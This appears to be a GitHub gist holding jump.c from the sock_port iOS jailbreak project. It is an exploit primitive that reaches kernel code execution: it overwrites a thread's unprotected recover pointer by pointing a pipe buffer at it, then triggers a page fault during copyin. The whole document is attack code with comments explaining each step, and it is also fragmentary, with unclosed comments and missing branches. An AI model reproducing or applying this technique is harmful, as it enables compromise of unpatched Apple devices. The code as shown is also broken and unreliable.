Skip to content

Instantly share code, notes, and snippets.

Last active July 30, 2019 10:12
What would you like to do?
// jump.c
// sock_port
// Created by Jake James on 7/14/19.
// Copyright © 2019 Jake James. All rights reserved.
#include <sys/mman.h>
void jump(uint64_t ptr) {
// discovered by bazad
// patched in 12.2
/* when a page fault occurs (i.e. when something tries to access unmapped memory) the kernel will execute a handler function in the thread that caused the page fault, that function is set in the thread's structure on the kernel when a copying operation using memcpy() occurs (thread->recover). this pointer is unprotected from PAC so we can overwrite it. but since pointer is set when copying starts and is unset when it ends we need to overwrite it *while* copying *and* *after* we do that we need to trigger a page fault, still *while* copying.
a way to do that is simple: memcpy(handler_func, ptr, a_number_bigger_than_8), where handler_func is address of thread->recover, ptr is a pointer pointing 8 bytes before the end of a page and what comes after must be unmapped. so, kernel copies 8 bytes, finds unmapped memory, fault occurs, it jumps to the handler which was just overwritten with 8 custom bytes. boom, code execution
but, how do u run memcpy() in the kernel like that?? see below
// get some stuff ready
mach_port_t p = mach_thread_self(); // our thread port
uint64_t paddr = FindPortAddress(p); // thread port address
uint64_t thread = KernelRead_64bits(paddr + 0x68); // thread address
// the thing we'll overwrite, thread->recover
#if __arm64e__
uint64_t thread_func_addr = thread + 0x348;
uint64_t thread_func_addr = thread + 0x340;
uint8_t *pages = malloc(0x8000); // allocate two pages
mprotect(pages + 0x4000, 0x4000, PROT_NONE); // make the second page inaccessible
uint8_t *addr = pages + 0x4000 - 8; // we will write our pointer at the end of the first page
*(uint64_t*)addr = ptr; // write our target pc into the last 8 bytes
// thx Siguza
/* the idea is this:
- we create a pipe, which consists of two file descriptors, one for reading and one for writing.
- when we use write() on the writing fd, it will write the buffer on the reading fd's structure
- but we can patch the read fd's struct, thus controlling where we write. an important note is that data from us to the kernel buffer will end up using copyin() which uses memcpy(), what we wanted to execute!
// create a pipe
int fds[2];
int ret = pipe(fds);
if (ret) {
printf("[-] pipe() error: %d (%s)\n", errno, strerror(errno));
int rfd = fds[0]; // the read file descriptor (where data will be written)
int wfd = fds[1]; // the write file descriptor
uint64_t proc = proc_of_pid(pid);
uint64_t p_fd = KernelRead_64bits(proc + off_p_fd);
uint64_t fd_ofiles = KernelRead_64bits(p_fd);
uint64_t fproc = KernelRead_64bits(fd_ofiles + rfd * 8);
uint64_t f_fglob = KernelRead_64bits(fproc + 8);
uint64_t pipe_struct = KernelRead_64bits(f_fglob + 56); // get the "struct pipe" of our read file descriptor
KernelWrite_64bits(pipe_struct + 16, thread_func_addr); // our data will end up on pipe->pipe_buffer.buffer (offset 16), so overwrite that with the thing we want to write into
write(wfd, addr, 9); // this will write 8 bytes then trigger a fault, which will execute thread->recover
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment